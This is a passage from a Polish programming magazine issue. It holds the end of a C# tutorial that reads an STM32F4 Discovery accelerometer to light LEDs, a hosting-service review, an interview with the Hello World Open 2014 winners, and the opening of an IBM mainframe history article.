» Oś X: LSB – 0x28, MSB – 0x29.
» Oś Y: LSB – 0x2A, MSB – 0x2B.
» Oś Z: LSB – 0x2C, MSB – 0x2D.
W powyższej liście adresów skrót LSB oznacza bajt najmniej znaczący (od ang.
Least Significat Byte). Natomiast MSB reprezentuje bajt najbardziej znaczący
(MSB, od ang. Most Significant Byte).
W związku z tym po odczytaniu wartości typu byte zapisanych w poszcze-
gólnych rejestrach dla danej osi należy je połączyć w jedną wartość typu
short (Int16).
Oto poszczególne etapy implementacji odczytu oraz interpretacji warto-
ści przyspieszenia w projekcie aplikacji (firmware) MFDiscovery:
» W klasie Discovery
zdefiniujmy metody z Listingu 17.
Listing 17. Odczyt zmierzonych wartości przyspieszenia w wybra-
nym kierunku
public
short
GetAcceleration(
Axis
axis)
{
byte
lsbAddress = 0,
msbAdddress = 0;
switch
(axis)
{
case
Axis
.X:
lsbAddress =
AccelerometerRegisterAddresses
.LsbX;
msbAdddress =
AccelerometerRegisterAddresses
.MsbX;
break
;
case
Axis
.Y:
lsbAddress =
AccelerometerRegisterAddresses
.LsbY;
msbAdddress =
AccelerometerRegisterAddresses
.MsbY;
break
;
case
Axis
.Z:
lsbAddress =
AccelerometerRegisterAddresses
.LsbZ;
msbAdddress =
AccelerometerRegisterAddresses
.MsbZ;
break
;
}
byte
lsb = ReadFromRegister(lsbAddress);
byte
msb = ReadFromRegister(msbAdddress);
return
BytesToShort(lsb, msb);
}
private
short
BytesToShort(
byte
lsb,
byte
msb)
{
return
(
short
)(lsb + (msb << 8));
}
» Przejdźmy do edycji pliku Discovery.cs.
» Klasę uzupełnijmy o pole
private
Accelerometer
_accelerometer =
null
;
» Konstruktor klasy Discovery
zmodyfikujmy według wzoru z Listingu 18.
Listing 18. Konstruktor klasy Discovery
private
Discovery()
{
_leds =
Leds
.Instance;
_userButton =
new
InterruptPort
(
DiscoveryCpuPins
.UserButton,
true
,
Port
.
ResistorMode
.PullDown,
Port
.
InterruptMode
.InterruptEdgeHigh);
_accelerometer =
Accelerometer
.Instance;
_accelerometer.DefaultConfiguration();
}
» Definicję klasy Discovery
uzupełnijmy o polecenia przedstawione na
Listingu 19.
57
/ www.programistamag.pl /
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
Listing 19. Zwrot płytki w przestrzeni jest sygnalizowany za pomo-
cą diod LD3-LD6
public
Accelerometer
Accelerometer
{
get
{
return
_accelerometer; }
}
public
void
DetectAndSignalPosition()
{
if
(_accelerometer.WhoAmI())
{
const
short
threshold = 500;
short
accelerationX = _accelerometer.GetAcceleration(
Axis
.X);
short
accelerationY = _accelerometer.GetAcceleration(
Axis
.Y);
Leds.TurnOffAll();
if
(accelerationX < -threshold)
{
Leds.TurnOn(
UserLed
.LD4);
}
else
if
(accelerationX > threshold)
{
Leds.TurnOn(
UserLed
.LD5);
}
if
(accelerationY < -threshold)
{
Leds.TurnOn(
UserLed
.LD6);
}
else
if
(accelerationY > threshold)
{
Leds.TurnOn(
UserLed
.LD3);
}
}
else
{
Leds.TurnOnAll();
}
}
» W pliku Enums.cs uzupełnijmy typ wyliczeniowy WorkingMode
o wartość
wyróżnioną na Listingu 20.
Listing 20. Definicja dodatkowego trybu pracy mikrokontrolera
public
enum
WorkingMode
{
ToggleLed = 0,
ToggleAllLeds,
LedSweeping,
ToggleLedRandomly,
DetectPosition
,
None
}
» W pliku Program.cs zmodyfikujmy definicję metody WorkingModeTh-
readFunction
według wzoru z Listingu 21.
Listing 21. Detekcja i sygnalizacja zwrotu płytki
private
static
void
WorkingModeThreadFunction()
{
const
int
msDefaultSleepTime = 500;
const
int
msSmallerSleepTime = 100;
while
(
true
)
{
if
(!_workingModeChanging)
{
_taskCompletedEvent.Reset();
switch
(_currentWorkingMode)
{
case
WorkingMode
.ToggleLed:
_discovery.Leds.Toggle(
UserLed
.LD3);
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.ToggleAllLeds:
_discovery.Leds.ToggleAll();
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.LedSweeping:
_discovery.Leds.Sweep();
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.ToggleLedRandomly:
_discovery.Leds.ToggleRandomly();
Thread
.Sleep(msSmallerSleepTime);
break
;
case
WorkingMode
.DetectPosition:
_discovery.DetectAndSignalPosition();
Thread
.Sleep(msSmallerSleepTime);
break
;
case
WorkingMode
.None:
default
:
Thread
.Sleep(msDefaultSleepTime);
break
;
}
_taskCompletedEvent.Set();
}
}
}
Po skompilowaniu i uruchomieniu aplikacji na płytce ewaluacyjnej STM32F4
Discovery możemy przystąpić do sprawdzenia poprawności detekcji zwrotu
płytki w przestrzeni. W tym celu wystarczy pięciokrotnie wcisnąć przycisk
User, aby aktywować tryb pracy mikrokontrolera związany z wartością
De-
tectPosition typu wyliczeniowego WorkingMode. Zmianie położenia
płytki będzie wówczas odpowiadała zmiana stanu odpowiednich diod.
Ze względu na to, że odczyt przyspieszenia jest obarczony błędem pomiaru,
stan diod ulega zmianie w przypadku, gdy wartość odczytanego przyspieszenia
jest większa od arbitralnie ustalonego progu. W powyższym przykładzie (Listing
19) próg został ustalony na poziomie 500, co w przybliżeniu odpowiada ok. 3%
wartości 1g. Czytelnik może dopasować tę wartość według własnych preferencji.
PODSUMOWANIE
W niniejszym artykule przedstawiliśmy przykładowy projekt aplikacji dla ze-
stawu uruchomieniowego STM32F4 Discovery. W ramach implementacji tego
projektu omówiliśmy stosunkowo proste zagadnienia dotyczące zmiany sta-
nu diod LED oraz bardziej zaawansowane kwestie związane z obsługą komu-
nikacji z urządzeniami peryferyjnymi bazującej na interfejsie SPI. Tę ostatnią
wykorzystaliśmy do odczytu wartości przyspieszenia mierzonego przez akce-
lerometr LIS3DSH.
Wszystkie przykłady zostały zaimplementowane w ramach jednej aplika-
cji, a jej użytkownik może przełączać tryby pracy za pomocą przycisku User
płytki STM32F4 Discovery.
Artykuł powstał przy współpracy z Krzysztofem Dalasińskim
Dawid Borycki
Doktor fizyki. Pracuje w Instytucie Fizyki UMK w Toruniu (obecnie na stażu w University of
California, Davis). Zajmuje się projektowaniem oraz implementacją algorytmów cyfrowej
analizy obrazów i sterowania prototypowymi urządzeniami do obrazowania biomedycznego.
Współautor wielu książek o programowaniu i międzynarodowych zgłoszeń patentowych.
58
/ 6
. 2014 . (25) /
Rafał Kocisz
RECENZJA
T
en nieco szalony, jednakże dający
moc satysfakcji tryb pracy wymu-
sza na nas trochę inne spojrzenie
na narzędzia, z których korzystamy. Weź-
my chociażby tak fundamentalną rzecz,
jak repozytorium kodu źródłowego. Konia
z rzędem temu, kto konfiguruje sobie Git czy
SVN na własnym serwerze. Alternatywą są
takie usługi jak Github czy BitBucket, dzięki
którym konfiguracja i obsługa repozytoriów
staje się dziecinną fraszką. Dziś trudno wy-
obrazić sobie pracę bez tych oraz szeregu
innych serwisów, które niemalże z dnia na
dzień stały się podstawowymi narzędziami
większości z nas…
W ramach niniejszego artykułu chciałbym
przedstawić nowoczesny, polski serwis, któ-
ry ostatnio przykuł moją uwagę: MegiTeam.
Nie ma chyba programisty, który nie natknął
się na problem hostingu serwera. Pomyśl tyl-
ko, jak piękny byłby świat, gdyby środowisko
serwerowe dało się skonfigurować w ciągu
kilkunastu sekund, tak jak tworzy się nowe
repozytorium na GitHubie… Z MegiTeam to
marzenie staje się rzeczywistością!
MegiTeam to usługa hostingu nowocze-
snych technologii w chmurze oferująca goto-
we środowiska programistyczne, dzięki któ-
rym możliwe jest szybkie wdrażanie serwisów
webowych i uruchomienie aplikacji jednym
kliknięciem. Serwis dedykowany jest przede
wszystkim dla twórców oprogramowania,
startupów, agencji interaktywnych oraz przed-
siębiorstw oferujących usługi e-commerce.
MegiTeam – hosting od
programistów dla programistów
Zastanawiałem się ostatnio, jakie wartości (w sensie zawodowym) są najcenniejsze
dla nowoczesnego programisty. Odpowiedzi, które w pierwszej kolejności przy-
szły mi do głowy, to: zwinność, elastyczność, dostępność i czas. Każdy niemalże
programista, którego znam, cierpi na notoryczny brak czasu. A rzeczywistość tech-
nologiczna, która nas otacza, wymusza życie (i pracę) w ciągłym pośpiechu. Nowe
projekty, nowe technologie, nowa wiedza, nowi ludzie – i tak w kółko: oto mantra
programisty Anno Domini 2014…
Rysunek 1. Konfiguracja aplikacji Django
Rysunek 2. Konfiguracja serwerów dodatkowych (Redis, Memcached, Celery)
W zakresie technologii, w ramach Megi-
Team do naszej dyspozycji są:
» Django,
» Ruby on Rails,
» Node.js,
» PHP.
Od strony bazodanowej serwis ofe-
ruje wiodące rozwiązania NoSQL: Redis
i MongoDB.
Technologie to tylko jedna strona me-
dalu. MegiTeam daje dużo więcej w ramach
swoich usług. To, co najbardziej rzuca się
59
/ www.programistamag.pl /
MEGITEAM – HOSTING OD PROGRAMISTÓW DLA PROGRAMISTÓW
w oczy, to bardzo wygodny i intuicyjny panel
administracyjny, który na początek szybko
oraz pewnie przeprowadza użytkownika
przez proces konfiguracji, a później oferuje
szeroki wachlarz opcji, dzięki którym zarzą-
dzanie hostowanym środowiskiem staje się
łatwe i przyjemne.
Duże brawa dla zespołu MegiTeam nale-
żą się za prostotę obsługi; specjaliści UX wy-
konali w tym przypadku kawał dobrej robo-
ty. Aby nie być gołosłownym, na Rysunkach
1 i 2 pokazane są przykładowe zrzuty ekranu
z panelu.
Panel MegiTeam to autorskie rozwiązanie,
dzięki któremu serwis jest w stanie oferować
zarządzane VPS-y (ang. Virtual Private Server),
bez konieczności samodzielnej administracji
i posiadania specjalistycznej wiedzy w tym
zakresie. Operacje takie jak dodanie serwisu
WWW, konta pocztowego czy (S)FTP można
wykonać z poziomu panelu administracyjne-
go. Jeżeli klient potrzebuje niestandardowej
konfiguracji, twórcy serwisu oferują pomoc
ze strony swoich administratorów.
MegiTeam stawia na automatyzację, po-
dobnie jak inni twórcy rozwiązań typu PaaS
(ang. Platform as a Service), pozostawiając
przy tym dostęp do shell'a, co daje mnóstwo
swobody w instalowaniu dodatkowego opro-
gramowania i gwarantuje dostęp do logów
(lepsza diagnostyka problemów). Warto w
tym miejscu podkreślić, że w ramach stan-
dardowej usługi hostingowej oferowanej
przez MegiTeam dostajemy to, za co w innych
PaaS'ach trzeba dodatkowo płacić: Postgres,
Memcached, oraz bazy NoSQL. Co więcej, w
ramach jednego konta hostingowego można
zakładać wiele wirtualnych serwisów, któ-
re znajdują się w obrębie tej samej instancji
chmury, przy czym opłata za nie pozostaje
stała (jest niezależna od ich liczby).
Autorzy serwisu nie zapomnieli również
o drobnych, aczkolwiek wysoce użytecznych
usprawnieniach. Dobrym przykładem tego
rodzaju udogodnienia jest możliwość reje-
stracji za pośrednictwem istniejącego konta
w takich serwisach jak Github, Twitter czy
Facebook (patrz: Rysunek 3). W przypadku
Rysunek 3. Logowanie do panelu administracyjnego
skorzystania z tej opcji szczegółowe dane
użytkownika trzeba wypełnić dopiero wtedy,
gdy potrzebne jest wygenerowanie faktury.
Wielką siłą serwisu MegiTeam oraz warto-
ścią dodaną, która w dużej mierze odróżnia
tę usługę od oferty konkurencji, jest zwin-
ność i elastyczność. Świetnym zobrazowa-
niem tej właściwości jest scenariusz obsługi
skoków obciążenia poprzez dynamiczne do-
kładanie zasobów (gdy okażą się niezbędne)
oraz ich usuwanie (by nie przepłacać, gdy
przestają być potrzebne). Przykład: określo-
na marka pojawia się w popularnym progra-
mie telewizyjnym, prasie, tudzież reklamuje
się poprzez znanego blogera. W efekcie tych
działań na jej stronie powstaje wzmożony
ruch. Abonamentowy hosting współdzielo-
ny najprawdopodobniej nie udźwignie ta-
kiego obciążenia i goście odwiedzający stro-
nę zobaczą błąd 503. Skalowalne serwery
w chmurze, które oferuje MegiTeam, pozwa-
lają zwiększyć zasoby do 64 GB RAM i 16 CPU
w ciągu kilku minut. Co istotne, klient zapłaci
tylko za czas, kiedy zwiększone zasoby były
mu potrzebne. W przypadku krótkich kam-
panii marketingowych wymagających stro-
ny internetowej MegiTeam oferuje opcję ho-
stingu na kilka dni czy nawet godzin. Koszt
takiej usługi to kilka groszy za godzinę. Po
zakończonej kampanii serwis lub konto
można samodzielnie usunąć.
W MegiTeam każdy klient posiada wła-
sny serwer z gwarantowanym procesorem
i pamięcią oraz własne serwery baz danych.
Serwis daje gwarancję, że obciążenie gene-
rowane przez innych klientów nie spowal-
nia działania jego stron. Takie rozwiązanie
to również większe bezpieczeństwo. Nawet
w najbardziej podstawowej opcji możliwe
jest podpisanie umowy powierzenia prze-
twarzania danych osobowych.
MegiTeam jest również bardzo elastycz-
ny w zakresie płatności, które w tym przy-
padku opierają się na doładowaniu konta.
Nie ma stałych abonamentów, co oznacza
brak długoterminowych umów i zobowią-
zań. Jeśli ktoś tęskni za abonamentem z po-
wodu regularnych przypomnień o płatności,
może włączyć automatyczne doładowania
(mailowe przypomnienia z załączoną fakturą
pro-forma przypominające, że już czas doła-
dować konto).
Na koniec trzeba też pochwalić serwis za
profesjonalny i przyjazny support. Doświad-
czeni admini szybko i konkretnie odpowiadają
na każde zgłoszenie dotyczące hostingu, po-
magają w optymalizacji i naprawianiu błędów.
Cóż więcej mogę napisać… Hasło mar-
ketingowe MegiTeam: „od zera do Django
w 30 sekund”, które nie jest bynajmniej
czczą przechwałką, mówi samo za siebie. Dla
mnie od dziś MegiTeam jest domyślną opcją
w zakresie hostingu VPS'ów w chmurze! Ser-
decznie polecam każdemu wypróbowanie
tego serwisu. Znajdziecie go pod adresem
60
/ 6
. 2014 . (25) /
WYWIAD
H
ello World Open to konkurs programistyczny, podczas którego celem
uczestników była implementacja sztucznej inteligencji sterującej wir-
tualną wyścigówką, która porusza się po torach wyścigowych o róż-
nym poziomie trudności, przy zmieniających się warunkach pogodowych.
Do realizacji tego celu organizator udostępnił uczestnikom repozytoria Git ze
zintegrowanymi systemami ciągłej integracji, kilka serwerów testowych oraz
specyfikację protokołu, przy pomocy którego z serwerem gry powinien się
komunikować robot. Drużyny mogły wybierać z całej gamy języków progra-
mowania, takich jak C, C++, Java, C#, Python czy nawet JavaScript.
W finale, który odbył się 10 czerwca w Helsinkach, rywalizowało 8 drużyn
– po jednej z Polski, Słowacji i Finlandii, dwie z Brazylii i trzy z Rosji. Pośród
uczestników znaleźli się pracownicy Google (Tomasz Żurkowski z polskiego
teamu „Need For C” i Luca Mattos Möller z brazylijskiej „Itarama”) oraz Facebo-
oka (Michal Burger ze słowackiej drużyny). Organizatorzy zwrócili szczególną
uwagę na to, aby poziom trudności zwiększał się z każdą rundą, dzięki czemu
we wstępnych etapach zawodów wysokie szanse na dobry wynik mają nawet
początkujący programiści.
– Programista może wpływać na dwa czynniki. AI może chcieć zwiększyć
prędkość pojazdu, dodając gazu, lub zmienić pas, jeśli przed nim jest inny zawod-
nik. Dzięki temu podstawy sterowania są bardzo proste, ale jeśli chcesz wygrać –
to bardzo skomplikowane. Wszystkie samochody mają identyczne „silniki” i opo-
ny. Wynik wyścigu zależy od tego, jak szybko uczestnicy są w stanie pokonywać
zakręty – na ile są pewni, że mogą pokonać dany zakręt bez ryzyka wypadnięcia
z toru. Jeśli wyścigówka będzie jechała zbyt szybko, wypadnie poza tor i drużyna
otrzyma 2 sekundy kary, a to bardzo pogarsza sytuację. – mówi Ville Valtonen,
główny organizator zawodów.
Warty zauważenia jest również sam pomysł, od którego wszystko się za-
częło. Konkurs został zaprojektowany tak, aby rywalizacja mogła być obser-
wowana również przez osoby kompletnie nie związane z programowaniem
czy branżą IT. Analogicznie zresztą jak w przypadku innych sportów – nie trze-
ba być piłkarzem, aby rozumieć ideę rozgrywek piłkarskich i móc kibicować
swoim faworytom.
Kilka minut przed rozpoczęciem finałów i miażdżącym zwycięstwem pol-
skiej drużyny, pytaliśmy ich o nastroje przed ostateczną rozgrywką.
Magazyn Programista: Jesteśmy na Hello World Open 2014, w klubie Cable
Factory w Helsinkach. Jak wam się podoba atmosfera na finałach?
Piotr Żurkowski: Jest super. Naprawdę, przygotowanie niesamowite… i sam
finał też.
MP: Lekki stres przed finałem jest?
Piotr Żurkowski: Jest, ogromny. I nie wierzę, że po nas tego nie widać, jesteśmy
bardzo zestresowani.
Wojciech Jaśkowski: My generalnie od 2 tygodni ledwo śpimy, maksymalnie
po 5-6 godzin. Każdego dnia mówimy sobie, że tym razem położymy się wcze-
śniej. Ja dzisiaj zasnąłem o 3:00, podobnie Piotrek i Tomek.
MP: Nazywacie się „Need For C”. Rozumiem, że to jakieś personalne
zamiłowania?
Piotr Żurkowski: Myśleliśmy o jakiejś fajnej nazwie, oczywiście gra z dzieciń-
stwa – Need For Speed, no i jesteśmy takimi trochę „freakami”, lubimy C++.
MP: Na co dzień pracujecie nad projektami w C, C++?
Tomasz Żurkowski: To zależy, ja na przykład pracuję w Google, przez cały czas
nad projektami w C++. Czas odpowiedzi się liczy – program musi działać szyb-
ko. Tak naprawdę wszyscy znamy C++, lepiej lub gorzej, dla mnie jest to na
przykład mój pierwszy język.
Wojciech Jaśkowski: Piotr mówi za siebie, że wszyscy lubimy C++. Ja akurat go
nie cierpię, ale oni podjęli taką decyzję – na początku tylko oni mieli kodować,
a ja miałem doradzać, ale potem mnie też jakoś mocniej zaangażowało...
MP: To dość nietypowa konfiguracja drużyny: dwóch braci i ich wykładowca?
Wojciech Jaśkowski: W zeszłym roku mieliśmy zajęcia z Piotrem. Generalnie
wcześniej znałem się z Tomkiem, jak on zaczynał studiować, to ja kończyłem
– znaliśmy się głównie poprzez konkursy programistyczne. Ja organizowałem
jeszcze różne „treningi programistyczne”, to taki „łańcuszek znajomości”.
Piotr Żurkowski: Wydaje mi się, że na naszej uczelni (Politechnika Poznańska)
jest po prostu kilka osób dobrych w algorytmach i wszyscy siebie bardzo do-
brze znają. Tak jakoś wyszło.
MP: Skąd pomysł, żeby brać udział w Hello World Open?
Piotr Żurkowski: Kolega pracujący w Helsinkach wysłał mi link, że są takie
zawody i fajnie byłoby wziąć udział. No a jak brać udział – to z bratem. Nie
wiedzieliśmy, że potraktujemy to aż tak bardzo na serio. Na początku miała
Polacy górą! Relacja z finałów
Hello World Open 2014
Kolejny sukces Polaków na międzynarodowych zawodach! Polski team „Need For C”
podczas finałów w Helsinkach w zeszłym miesiącu pokonał ponad 2,5 tysiąca drużyn
z całego świata, tym samym zgarniając tytuł zwycięzcy i ponad 20 tysięcy złotych.
Zwycięzcy Hello World Open 2014. Od lewej: Piotr Żurkowski, Tomasz
Żurkowski, Wojciech Jaśkowski. /fot. Tuomas Sauliala/Karttahuone Oy
61
/ www.programistamag.pl /
POLACY GÓRĄ! RELACJA Z FINAŁÓW HELLO WORLD OPEN 2014
to być po prostu zabawa – a nuż uda się zrobić coś ciekawego. Drużyny były
trzyosobowe, to czemu mieć dwie osoby, skoro można dobrać kogoś jeszcze...
Wojciech Jaśkowski: Piotrek mnie strasznie męczył, bo nie chciałem w tym
brać udziału – po prostu nie miałem na to czasu...
Piotr Żurkowski: Ja chciałem ściągnąć Wojtka – on będzie tylko doradzał i
omawiał taktyki. No i faktycznie – w kwalifikacjach bardzo dużo rozmawiali-
śmy. Robiliśmy trochę researchu ze wszystkich stron, a potem Wojtek się bar-
dzo mocno wkręcił i dotarliśmy aż do finału.
MP: Spędziliście masę, naprawdę masę godzin nad przygotowaniami. To była
dość długa przeprawa do finału. Z osiągnięcia czego jesteście najbardziej dumni?
Tomasz Żurkowski: Dużo zabawy, na pewno dużo zabawy.
Piotr Żurkowski: Rywalizacja z innymi ludźmi, każdy coś napisał i patrzy się,
co oni wymyślili.
Tomasz Żurkowski: To coś innego niż normalna praca, to nie jest pisanie kodu,
który musisz napisać. To bardzo fajne, że można wrócić do młodszych lat,
gdzie było tak dużo kreatywności, myślenia. Mimo wszystko później w róż-
nych przypadkach kreatywność spada. Naprawdę bardzo fajnie bawiło się w
gadanie, wymyślanie różnych rzeczy, pisanie, sprawdzanie, testowanie… Cu-
downe, po prostu cudowne.
MP: W jaki sposób wasze rozwiązanie pokonało prawie 2,5 tysiąca drużyn
z całego świata? Co trzeba zrobić, żeby pokonać tyle różnych ekip?
Wojciech Jaśkowski: Poświęcić więcej czasu i więcej chęci.
Piotr Żurkowski: Naszym dużym atutem był fakt, że mamy duży background
w algorytmice i jesteśmy dość biegli w takich rzeczach. Optymalizacje kodu,
różne tego typu rzeczy nie są nam straszne. Wojtek w ogóle specjalizuje się w
sztucznej inteligencji. Tak jak Tomek mówił – dużo czasu, dużo zacięcia.
MP: Czyli największą trudnością według was były problemy matematyczne?
Tomasz Żurkowski: To zależy, ten konkurs ma bardzo dużo takich „gałęzi”: po
pierwsze trzeba umieć jeździć dobrze, po drugie trzeba dobrze sobie radzić z
innymi samochodami i tak dalej… Każde podejście do konkretnej rzeczy jest
zupełnie inne, ale jednocześnie wszystkie są ze sobą tak powiązane, że bardzo
ciężko to dobrze rozdzielić, ciężko powiedzieć, co było najtrudniejsze.
Wojciech Jaśkowski: Tu nie było dużo matematyki. Ja bym tego nie nazwał
matematyką – to było mnożenie i dzielenie… takie podwórko.
Tomasz Żurkowski: Trochę algorytmów było, trochę fizyki, trochę mate-
matyki. Zobaczyliśmy jakieś pochodne i próbowaliśmy coś oszacować,
aproksymować…
Wojciech Jaśkowski: Ja myślę, że ważny był podział całego kodu na moduły,
tego się nie da ugryźć jednym modułem. Tutaj koledzy ładnie podzielili to na
moduły, które były do pewnego stopnia niezależne. Dzięki temu można było ła-
two podzielić pracę pomiędzy osoby, które wzajemnie niczego sobie nie psuły.
Tomasz Żurkowski: Ten sam początek, sama baza była dobrze napisana i po-
tem można było na nim opakowywać.
Wojciech Jaśkowski: Też było ważne to, że jakieś tam doświadczenie mamy z
różnego rodzaju programowania i wiemy, jak ważne są testy. Dlatego dużo
mamy testów jednostkowych w kodzie, ale również dużo takich testów re-
gresyjnych, mamy swój symulator, który puszczamy np. 10k razy i patrzymy,
czy nie ma żadnego błędu, żadnej błędnej rzeczy w kodzie, po każdej zmianie,
czy coś się nie pogorszyło. Wtedy w miarę bezpieczne jest zmienianie.
MP: Czyli żeby pokonać 2,5 tysiąca drużyn kod w tym konkursie musiał trzy-
mać wysokie standardy?
Piotr Żurkowski: Ilość tego kodu troszeczkę wymusza fakt, żeby był dobrze
napisany, czytelnie i żeby potem rozwinięcie tego, co się robiło miesiąc temu,
nie rozwaliło nagle czegoś innego.
Wojciech Jaśkowski: Mieliśmy dużo refaktoryzacji, one były konieczne z inny-
mi przeróbkami. Pracowaliśmy nad tym od miesiąca, jeżeli pracujesz nad pro-
jektem tyle czasu, to nie możesz sobie pozwolić na to, żeby dzisiaj coś napisać,
a jutro wyrzucić Nie może być błędów. Jak konkurencja ma jeden błąd – to
wygrywamy. To jest też gra błędów w tej chwili.
Tomasz Żurkowski: Kto ma jakie błędy i które się pojawią, dokładnie.
Wojciech Jaśkowski: My na przykład jesteśmy świadomi jednego błędu, który
mamy, od wczoraj jesteśmy świadomi, wiemy, jak go naprawić, ale nie podję-
liśmy się tego – baliśmy się, że naprawa pociągnie za sobą zbyt wiele nega-
tywnych konsekwencji i dorzucimy nowe błędy. Ten, który mamy, objawia się
bardzo rzadko, raz na 10 wyścigów w bardzo specyficznych sytuacjach. Mamy
nadzieję, że się nie wydarzy.
MP: Czyli zgodnie z ideą programowania, przy fixowaniu bugów, doszliście
do problemów, które mało przeszkadzają?
Wojciech Jaśkowski: Ważyliśmy ryzyka. Czy to ryzyko, że mamy błąd i wiemy
o tym, czy to ryzyko, że chcielibyśmy coś tam przebudować, wprowadzimy
nowe rzeczy i już nie będziemy tacy pewni.
Tomasz Żurkowski: Tym bardziej że tu akurat są dwa przypadki – jeżdżenie sa-
memu można było bardzo łatwo przetestować. Później była iteracja z innymi
osobami – trenowaliśmy już z innymi finalistami i wiedzieliśmy, że nasz kod
dobrze działa, nie zastanawialiśmy, czy jest sens cokolwiek zmieniać. Ciężko
było przewidzieć, jak zmiana zareaguje na innych graczy.
Wojciech Jaśkowski: To jest ciekawy aspekt tego konkursu, real time – my mu-
simy de facto odpowiedzieć w czasie 4 milisekund. Musimy zawrzeć w tym
całą logikę sztucznej inteligencji. W celu optymalizacji robimy na przykład
branch and bound
1
. Mnóstwo innego kodu nie można kwalifikować do jed-
nego algorytmu, ale problemy wydajnościowe również były bardzo ważne.
MP: Robiliście zwody na treningach, żeby inni czuli się silniejsi?
Piotr Żurkowski: Mamy nadzieję, że inni tego nie robili. Myślę, że wszystkie
teamy chciały dobrze przetestować to, co mają. Nieprzetestowanie czegoś
w poprzednich dniach może spowodować faktyczne problemy w finale. W
związku z tym zakładamy, że wszyscy pokazali maksimum swoich możliwo-
ści… i czujemy się bardzo silni.
Kod zwycięskiej drużyny wraz z opisem technicznym jest dostępny na GitHubie
2
.
Z organizatorami konkursu i uczestnikami rozmawiał Michał Leszczyński.
1
http://en.wikipedia.org/wiki/Branch_and_bound
2
62
/ 6
. 2014 . (25) /
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
Dawid Morawiec
WSTĘP
Pierwsze systemy mainframe wymagały ogromnych pomieszczeń, które po brze-
gi wypełnione były urządzeniami I/O. Typowa instalacja zajmowała powierzch-
nię od 200 do 1000 m
2
. Systemy IBM 705 z 1954 r. oraz ich następna generacja
IBM 1401 z 1959 r. były zoptymalizowane pod kątem konkretnych zastosowań,
takich jak inżynieria czy złożone obliczenia laboratoryjne, brakowało im jednak
elastyczności i uniwersalności. Punktem zwrotnym okazał się być wprowadzony
przez IBM w 1964 r. System/360 (Rysunek 1). Numer w nazwie systemu nie jest by-
najmniej przypadkowy, liczba 360 miała oddawać uniwersalność systemu, 360˚
- krąg możliwych zastosowań. S/360 był pierwszym komputerem wykorzystują-
cym możliwość mikroprogramowania, wcześniej lista rozkazów była wbudowa-
na w fizyczną architekturę komputera, tzn. każdej instrukcji odpowiadał osobny
układ elektroniczny odpowiedzialny za jej wykonanie.
W roku 1970 IBM wprowadził na rynek rodzinę maszyn System 370 (Ry-
sunek 2), która potrafiła wykorzystać więcej niż jeden procesor oraz pamięć
dzieloną. Wszystkie elementy w obwodach były wytwarzane na jednym pla-
strze krzemu, System 370 był również pierwszym komputerem implementu-
jącym mechanizm pamięci wirtualnej.
Rysunek 1. Komputer S/360 Model 40
Lata 80-te przyniosły kolejne zmiany na rynku w postaci zwiększenia liczby
instrukcji procesora, rozszerzono adresowanie pamięci oraz dodano wsparcie
dla wielokrotnej przestrzeni adresowej.
Rysunek 2. Komputer S/370 Model 165
W latach 90-tych istotnym zagadnieniem dla IBM, jak i całego sektora informa-
tycznego, było wprowadzenie logicznej partycji (LPAR) – technologii wirtualiza-
cji, która umożliwiła podział zasobów jednej fizycznej maszyny na kilka nieza-
leżnych jednostek. Wielu ekspertów twierdziło, że serwery te nie przetrwają do
końca pierwszej połowy lat 90-tych. Przewidywano, że gwałtowny rozwój kom-
puterów PC oraz niewielkich serwerów doprowadzi do ich zaniku. Zupełnie
odwrotną postawę prezentował IBM, przedstawiając System/390 (Rysunek 3).
Rysunek 3. Komputer S/390
W kolejnym okresie same mainframe, jak i urządzenia I/O stawały się coraz
mniejsze i tańsze, podczas gdy ich funkcjonalność oraz moc obliczeniowa
rosły. Wszystkie systemy „Big Iron” firmy IBM na poziomie aplikacyjnym, od
architektury S/360, są kompatybilne wstecz, co oznacza, że oprogramowanie
napisane dla modeli wcześniejszych może być uruchamiane na aktualnie eks-
ploatowanych serwerach.
Obecnie produkowanym przez IBM systemem jest System z (Rysunek 4),
występujący w dwóch wersjach: Business oraz Enterprise.
Rysunek 4. System z Enterprise
IBM Mainframe
W tym roku serwery mainframe obchodzą 50 rocznicę istnienia. Jest to dobry powód,
aby przybliżyć je czytelnikom Programisty. Oczywiście w tak krótkim opracowaniu nie da
się zawrzeć wszystkich informacji, a te przedstawione niżej stanowią jedynie wstęp do
całej technologii oraz szeregu rozwiązań składających się na tę technologię. Jak zdefi-
niować mainframe? Nie da się zrobić tego jednoznacznie, ponieważ mainframe to zbiór
cech biznesowych i funkcjonalności, a nie hardware i software, z których się składa.
63
/ www.programistamag.pl /
IBM MAINFRAME
ARCHITEKTURA I PROCESOR
Po tym krótkim wstępie zajrzyjmy do wnętrza maszyny. S/360 bazuje na ar-
chitekturze von Neumanna, procesory centralne są oparte na architekturze
CISC, a ich wydajność mierzona jest w MIPS (ang. Million Instructions Per Se-
cond). Seria System z składa się z kilku różnych procesorów, które wspólnie
określane są jako PU. Każdy z PU charakteryzuje się wielozadaniowością,
może także być zaprogramowany do pełnienia odpowiedniej funkcji:
» CP (Central Processor) – najważniejszy procesor, wykorzystywany przez
system oraz aplikacje użytkownika (procesor ogólnego przeznaczenia);
» SAP (System Assistance Processor) – każdy mainframe ma przynajmniej
jeden procesor tego typu, ponieważ zapewnia on wewnętrzne wsparcie
dla obsługi operacji I/O;
» IFL (Integrated Facility for Linux) – typ zaprojektowany specjalnie do ob-
sługi systemu z/Linux.
» zAAP (System z Application Assist Processor) - dodatkowy procesor zwięk-
szający wydajność aplikacji napisanych w Javie;
» zIIP (System z Integrated Information Processor) – zapewnia wsparcie przy
przetwarzaniu zasobów bazodanowych (bezpośredni dostęp do bazy DB2);
» ICF (Integrated Coupling Facility) – obsługuje klaster maszyn działających
w technologii Parallel Sysplex;
» Spare – procesor zapasowy, jeśli w system wykryje nieprawidłowość w
którymś PU, to może być on zastąpiony przez Spare. W większości przy-
padków odbywa się to bez konieczności przerywania działania systemu.
Rysunek 5. Hardware
PAMIĘĆ
Wraz z rozwojem architektury następował wzrost wartości adresowania pa-
mięci od 24 do 64 bitów (Tabela 1). Wprowadzono pamięć wirtualną oraz stro-
nicowanie, jednak usprawnieniem, które przyniosło najwięcej korzyści, była
implementacja pamięci cache.
Serwer
Adresowanie
S/360
